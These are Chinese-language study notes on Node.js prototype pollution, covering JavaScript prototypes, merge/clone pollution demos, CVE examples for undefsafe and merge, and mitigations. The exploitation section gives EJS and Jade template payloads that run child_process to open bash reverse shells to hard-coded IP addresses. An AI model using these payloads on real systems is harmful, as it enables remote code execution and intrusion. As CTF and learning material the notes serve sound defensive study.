Nodejs原型污染

相关概念

所有的对象都继承自Object.prototype,包括{ “a”: 1, “b”: 2 }这样的对象。

Object.prototype是JavaScript中所有对象的原型对象,它是一个内置的对象,提供了一些通用的属性和方法,比如toString()和hasOwnProperty()等。

构造函数

在JavaScript中,可以使用==构造函数==的方式来定义一个类。构造函数是一个特殊的方法,在创建类的新实例时自动调用,用于初始化对象的属性。

function Foo() {
    this.bar = 1
}

new Foo()

Foo函数的内容 就是 Foo类的构造函数 而this.bar 就是 Foo类的一个属性

请注意,与使用class关键字定义类不同,==使用构造函数方式定义的类,每次创建新的实例时,都会为每个实例创建一个新的函数对象==。因此,在具有大量实例的情况下,使用class定义类通常更高效。

为了简化编写JavaScript代码,ECMAScript 6后增加了class语法,但class其实只是一个语法糖。

原型

==原型就是一个属性,即prototype属性,这个属性是构造函数的属性==,构造函数时用来制造出对象的。是构造函数制造出来的公共祖先,后面所有的对象都会继承原型的属性与方法。而后面会提到的_proto_是用来查看原型的,是对象的属性。

为何要有原型这个东西?

  • 使用构造函数方式定义的类,每次创建新的实例时,都会为每个实例创建一个新的函数对象。通过原型的机制,可以避免对象之间重复定义相同的方法,而是将方法定义在原型上以实现方法的共享和继承。

下面是一个简单的例子来演示原型的使用:

一个类中 必然有一些方法 类似 属性this.bar 我们也可以将方法 定义再构造函数内部

function Foo() {
    this.bar = 1
    this.show = function() {
        console.log(this.bar)
    }
}

(new Foo()).show()

但这样写有一个问题,就是每当我们新建一个Foo对象时,this.show = function...就会执行一次,这个show方法实际上是绑定在对象上的,而不是绑定在“类”中。

我希望 在创建类的时候 只创建一次 show方法 这时候就要使用 ==prototype==(原型对象)了。这就印证了我们上面说的为何要有原型这个东西。

function Person(name) {
  this.name = name;
}

Person.prototype.greet = function() {
  console.log(`Hello, my name is ${this.name}.`);
};

const john = new Person('John');
john.greet(); // 输出:Hello, my name is John.

在上面的例子中,我们定义了一个构造函数 Person,并设置了一个 name 属性。然后,我们通过 Person.prototype 来定义 greet 方法。这样,通过 new 关键字创建的 Person 的实例 john 就==继承==了 greet 方法。

因此,我们可以在 john 对象上调用 greet 方法,输出一条问候语。

原型对象

每个对象都具有一个特殊属性__proto__(非标准)或者[[Prototype]],它指向对象的原型对象。实际上可以理解为原型对象和原型是一个东西。只是我们用__proto__的方法访问prototype

到这里不要犯迷糊,prototype这个属性是构造函数的属性,而这里的__proto__或者[[Prototype]]是对象的属性,可以用它访问原型对象。

实际上,原型对象也是一个普通的对象,它可以拥有自己的原型对象,形成原型链。

下面是一个示例来说明原型对象的概念:

function Person(name) {
  this.name = name;
}
Person.prototype.sayHello = function() {
  console.log(`Hello, my name is ${this.name}.`);
};

const john = new Person('John');

//注意这两个true
console.log(john.__proto__ === Person.prototype); // 输出:true
console.log(Object.getPrototypeOf(john) === Person.prototype); // 输出:true

通过 __proto__ 或者 Object.getPrototypeOf() 方法,我们可以获取到对象的原型对象。

需要注意的是,虽然可以直接通过 __proto__ 属性访问对象的原型对象,在实际开发中,不推荐直接使用 __proto__,而是使用 Object.getPrototypeOf() 方法,它提供了更好的可读性和兼容性。

原型链

==原型链是一种继承的手段。==

当前对象 -> 对象的原型 -> 原型的原型 -> …

由于_proto_是任何对象都有的属性,而js里万物皆对象,所以会形成一条_proto_连起来的链条,最终指向一个特殊的对象null

当我们访问对象的某个属性或方法时,如果该对象本身没有这个属性或方法,JavaScript 引擎会沿着原型链向上查找,直到找到对象最顶层的原型对象,或者找到该属性或方法为止。

以下是一个示例来说明原型链的概念:

例1

function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    this.first_name = 'Melania'
}

Son.prototype = new Father()

let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

Son类 继承了 Father类的last_name 属性 最后输出的 是 Name: Melania Trump

对于对象 son 在调用 son.last_name 的时候 实际上 JavaScript 引擎 会进行如下 操作

  1. 在对象son中寻找 last_name
  2. 找不到 则在son.proto 中寻找last_name
  3. 如果 仍然找不到 则继续在son.proto.proto 中寻找last_name
  4. 依次寻找 直到找到null 结束 比如 Object.prototype 的 proto都是 null

例2

function Person(name) {
  this.name = name;
}
Person.prototype.greet = function() {
  console.log(`Hello, my name is ${this.name}.`);
};

function Student(name, grade) {
  Person.call(this, name);
  this.grade = grade;
}
Student.prototype = Object.create(Person.prototype);//通过 Object.create() 方法,我们将 Student.prototype对象的原型设置为Person.prototype,这样 Student 构造函数的实例就可以访问到 Person 的方法。
Student.prototype.constructor = Student;
Student.prototype.study = function() {
  console.log(`${this.name} is studying in grade ${this.grade}.`);
};

const john = new Student('John', 5);//在创建 `Student` 实例时,首先调用 `Person.call(this, name)` 来初始化 `Person` 构造函数中定义的属性。然后,通过 `new` 关键字创建一个 `Student` 对象 `john`。

john.greet(); // 输出:Hello, my name is John.
john.study(); // 输出:John is studying in grade 5.

console.log(john instanceof Person); // 输出:true
console.log(john instanceof Student); // 输出:true

最后,我们可以通过 john 对象访问到 PersonStudent 的方法,并且可以使用 instanceof 运算符检查对象之间的继承关系。

Function与constructor

在javascript中,有时会看到大写的Function,这个和小写的function有本质的区别

function 是一个用于定义函数的关键字。

Function 是代表所有函数的内置原型对象。

Object.prototype.constructor

理解Function之前,先补充下constructor的概念。

constructor是一个对象的数据属性,创建对象后,访问constructor属性,可以返回构造该对象的来源,(不是该对象的原型链上级,二者不同),见下面例子:

var a = 1;
a.__proto__
//Number {0, constructor: ƒ, toExponential: ƒ, toFixed: ƒ, toPrecision: ƒ, …}constructor: ƒ Number()toExponential: ƒ toExponential()toFixed: ƒ toFixed()toLocaleString: ƒ toLocaleString()toPrecision: ƒ toPrecision()toString: ƒ toString()valueOf: ƒ valueOf()[[Prototype]]: Object[[PrimitiveValue]]: 0
a.__proto__.constructor
//ƒ Number() { [native code] }
a.constructor
//ƒ Number() { [native code] }
a.constructor === Number
//true
var b = Number(1);
b.constructor === a.constructor
//true

上面代码中可以看到一部分constructor的特点:

1.变量a的原型链的上级是Number对象(a.proto)。

2.Number对象的constructor属性和变量a的constructor属性一样,可见本例的a的原型链的上级和constructor属性是包含关系。

3.Number对象的constructor属性值是Number方法,通过Number方法构造出的b,与a的属性相同,因为constructor属性,可以返回构造该对象的来源。

==简单的说constructor属性就是告诉你这个对象从哪来的。==

Function概念

==每一个javascript的function实际上都是Function对象==,在控制台运行如下,返回True

(function () {}).constructor === Function

Function是javascript内置的对象,Function用以实现很多基本功能,如Number、toString等。

  • Function() constructor

Function()构造器可以创建一个Function对象,可以直接调用Function()构造器动态的创建函数。但是这样会存在类似eval()的安全隐患和一些性能问题。

  • eval()和Function()区别:

eval()可以访问本地的变量、全局变量

Function()创建函数时只能执行全局变量

比如eval代码执行时可以这样加载module

//eval()
require('fs')

Function()则需要这样

//Function() constructor
global.process.mainModule.require('fs')

Function() constructor的语法

new Function(functionBody)
new Function(arg0, functionBody)
new Function(arg0, arg1, functionBody)
new Function(arg0, arg1, /* … ,*/ argN, functionBody)

Function(functionBody)
Function(arg0, functionBody)
Function(arg0, arg1, functionBody)
Function(arg0, arg1, /* … ,*/ argN, functionBody) 作者:J_Chanra https://www.bilibili.com/read/cv20770194?spm_id_from=333.999.0.0 出处:bilibili

是什么

原型链污染最关键的几个词汇就是:merage、verify、copy

demo1

// foo是一个简单的JavaScript对象
//{bar: 1}表示一个简单的 JavaScript 对象字面量,其中 bar 是属性名,1 是属性值。这个对象字面量可以用来创建一个包含单个属性的对象。
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)

// 修改foo的原型(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)

// 此时再用Object创建一个空的zoo对象
let zoo = {}

// 查看zoo.bar
console.log(zoo.bar)

这个语句到最后 zoo.bar 的结果 是2 虽然zoo是一个 空对象

而这个的原因也就是 在前面我们修改foo的原型 foo.proto.bar =2 而 foo是一个 Object类的实例 所以 实际上是修改了Object这个类 给这个类增加了一个属性bar 值为2

后来 我们又用 Object类 创建了一个 zoo对象 那么 这个zoo对象 自然也有一个bar属性了

那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染

image-20230729002254976

demo2

//所有的对象都继承自Object.prototype,包括{ “a”: 1, “b”: 2 }这样的对象。
object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";
console.log(object1.foo);
object2 = {"c":1, "d":2};
console.log(object2.foo);

o1 和 o2 相当于继承了Object.prototype 所以当我们对一个对象设置foo属性 就造成了原型链污染 导致Object2 也拥有了foo属性

产生原因

如果 我们需要利用原型链污染 那我们就需要设置 __proto__ 的值 也就是需要找到能控制数组的键名的操作 最常见的就是merge clone copy

merge方法 是合并对象的方法 合并两个对象或者 多个对象的属性

clone方法 就是克隆捏

这里的merge换成copy也是污染

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

在合并的过程中 存在赋值的操作 target[key] = source[key] 那么 这个key如果是 proto是不是就可以进行原型链污染

我们用如下代码试一下啊

let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
console.log(o1.a, o1.b)
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)//重点在观察o3是否污染

image-20230729215853695

可以看到 这样写 并没有进行污染 但是 二者合并了

这是因为 我们用JavaScript 创建o2的过程{a: 1, "__proto__": {b: 2}}proto已经代表o2的原型了 此时 遍历 o2所有键名 你拿到的是[a,b] proto并不是一个key 自然 也不会修改 Object的原型

那么 我们的任务就变成了 让proto 被认为是一个 键名

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)
console.log(o3.a)
最终输出
1 2
2
undefined

向上面这么写 最后会完成污染 这是因为 json解析的时候 proto会被认为成一个真正的键名 而不代表原型 所以在遍历o2的时候 会存在这个键。ps:前面用的let o2 = {a: 1, "__proto__": {b: 2}}

但是 我们输出a 为undefined,上面o1 o2 输出a为1 是因为 merge对二者进行了融合 但是并没有进行污染

这里也能比较清晰的认识到污染

漏洞利用

ejs模板rce

https://www.bilibili.com/read/cv20929156

EJS 是一套简单的模板语言,设计的初衷是用尽可能少的js代码,渲染出丰富的html页面。

poc

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;console.log(123);var __tmp2"}}}

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/8.130.69.158/7788 0>&1\"');var __tmp2"}}}

JADE

https://xz.aliyun.com/t/7025#toc-2

https://tari.moe/p/2021/ctfshow-nodejs#c869ae41c9ab4f08948195242a67266e

ctfshow342

常见 Express 模板引擎有(包括但不限于如下):

  • jade
  • pug
  • ejs
  • dust.js
  • nunjunks
{"__proto__":{"compileDebug":1,"self":1,"line":"console.log(global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/xxx/6666 0>&1\"'))"}}


{"__proto__":{"__proto__":{"compileDebug":1,"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/119.28.15.55/2233 0>&1\"')"}}}


{"__proto__":{"self":"true","line":"2,jade_debug[0].filename));return global.process.mainModule.require(\'child_process\').exec(\'calc\')//"}}

{"__proto__":{"self":1,"line":"global.process.mainModule.require(\'child_process\').exec(\'calc\')"}}

Undefsafe 模块原型链污染(CVE-2019-10795)

var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'whoami'
        }
    }
};
console.log(object.a.b.e)

console.log(object.a.c.e)

可以看到当我们正常访问object属性的时候会有正常的回显,但当我们访问不存在属性时则会得到报错:

image-20230729221238222

undefsafe可以帮我们解决这个问题

var undef=require("undefsafe");
var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'whoami'
        }
    }
};

console.log(undef(object,'a.b.e'))
console.log(object.a.b.e)
console.log(undef(object,'a.c.e'))
console.log(object.a.c.e)

image-20230729221956930

它还有一个功能:在对对象赋值时,如果目标属性存在,其可以帮助我们==修改对应属性的值==

var undef=require("undefsafe");
var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'whoami'
        }
    }
};

console.log(object)
undef(object, 'a.b.e' , '123')
console.log(object)

image-20230729222634464

当属性不存在的时候 我们可以==对属性赋值==

var undef=require("undefsafe");
var object = {
    a: {
        b: {
            c: 1,
            d: [1,2,3],
            e: 'whoami'
        }
    }
};


console.log(object)
undef(object, 'a.f.e' , '123')
console.log(object)

image-20230729223142939

这个需要下载 undefsafe小于2.0.3的版本

我们可以发现 当我们可以控制undefsafe函数的第2 3 个参数的时候 我们可以污染 object中的值

var a = require("undefsafe");
var test = {}
a(test,'__proto__.toString',function(){ return 'just a evil!'})
console.log('this is '+test)

我们可以看到 上面成功的进行了原型链污染

因为 在在上面 污染了toString 因为在当前对象中找不到 于是 需要向上溯源

最后在进行this is 和 test拼接的时候 触发了tostring 造成了原型链污染

在2.0.3后的版本 加上了下面的限制

image-20230729222823558

应该是 对于其修改Object中本身的属性 做出了限制 所以 不能进行污染了

审计

split()

function splitStr(str, separator) {

    // Function to split string
    var string = str.split(separator);

    console.log(string);
}

// Initialize string
var str = "GeeksforGeeks/A/computer/science/portal";

var separator = "/";

// Function call
splitStr(str, separator);

Output:
[ 'GeeksforGeeks', 'A', 'computer', 'science', 'portal' ]

Array.prototype.filter()

filter() 方法會建立一個經指定之函式運算後,由原陣列中通過該函式檢驗之元素所構成的新陣列。

const words = ['spray', 'limit', 'elite', 'exuberant', 'destruction', 'present'];

const result = words.filter(word => word.length > 6);

console.log(result);
// expected output: Array ["exuberant", "destruction", "present"]

相当于一个 过滤器

Array.prototype.slice()

slice() 方法會回傳一個新陣列物件,為原陣列選擇之 beginend(不含 end)部分的淺拷貝(shallow copy)。而原本的陣列將不會被修改。

const animals = ['ant', 'bison', 'camel', 'duck', 'elephant'];

console.log(animals.slice(2));
// expected output: Array ["camel", "duck", "elephant"]

console.log(animals.slice(2, 4));
// expected output: Array ["camel", "duck"]

console.log(animals.slice(1, 5));
// expected output: Array ["bison", "camel", "duck", "elephant"]

console.log(animals.slice(-2));
// expected output: Array ["duck", "elephant"]

console.log(animals.slice(2, -1));
// expected output: Array ["camel", "duck"]

console.log(animals.slice());
// expected output: Array ["ant", "bison", "camel", "duck", "elephant"]

这是相当于一个数组切割的工具

Array.prototype.join()

join() 方法會將陣列(或一個類陣列(array-like)物件)中所有的元素連接、合併成一個字串,並回傳此字串。

const elements = ['Fire', 'Air', 'Water'];

console.log(elements.join());
// expected output: "Fire,Air,Water"

console.log(elements.join(''));
// expected output: "FireAirWater"

console.log(elements.join('-'));
// expected output: "Fire-Air-Water"

Merge类操作导致原型链污染

原型链污染的主要思想 实际上就是寻找能够操纵键值的位置 然后利用proto来向上污染

const merge = (a, b) => {    // 发现 merge 危险操作
  for (var attr in b) {
    if (isObject(a[attr]) && isObject(b[attr])) {
      merge(a[attr], b[attr]);
    } else {
      a[attr] = b[attr];
    }
  }
  return a
}

const clone = (a) => {
  return merge({}, a);
}

在上面 我们使用了merge 进行操作 merge 方法用在merge操作 以及 clone操作中

我们可以 利用merge来合并两个 复杂的对象 用clone创建一个 和现在对象相同的对象

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

let object1 = {}
let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(object1, object2)
console.log(object1.a, object1.b)

object3 = {}
console.log(object3.b)

merge有着合并的作用

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

function clone(a) {
  return merge({}, a);
}

let object1 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}');

clone(object1)
console.log(object1.a);
console.log(object1.b);


object2 = {}
console.log(object2.b)

clone 也是一样的

merge.recursiveMerge CVE-2020-28499

影响2.1.1以下的merge版本

const merge = require('merge');

const payload2 = JSON.parse('{"x": {"__proto__":{"polluted":"yes"}}}');

let obj1 = {x: {y:1}};

console.log("Before : " + obj1.polluted);
merge.recursive(obj1, payload2);
console.log("After : " + obj1.polluted);
console.log("After : " + {}.polluted);

修复

1.Object.freeze()冻结原型

1.Object.freeze(Object.prototype); 2. Object.freeze(Object); 3. ({}).proto.test = 123 4. ({}).test // this will be undefined 冻结原型后,无法添加新的原型至原型链

2.对JSON 输入验证

npm上有很多库,例如avj,可以对json数据验证,排除json数据中不需要的属性。

或者在复制对象,遍历键名的时候,检查"proto“和"constructor"中"prototype”,因为constructor.prototype也可以操作原型链。

3.使用map代替{}

4.使用Object.create()安全创建对象

  1. var obj = Object.create(null);
  2. obj.proto // undefined
  3. obj.constructor // undefined 这样创建的对象没有属性

5.nodejs中可以通过–disable-proto直接禁止操作原型链

0%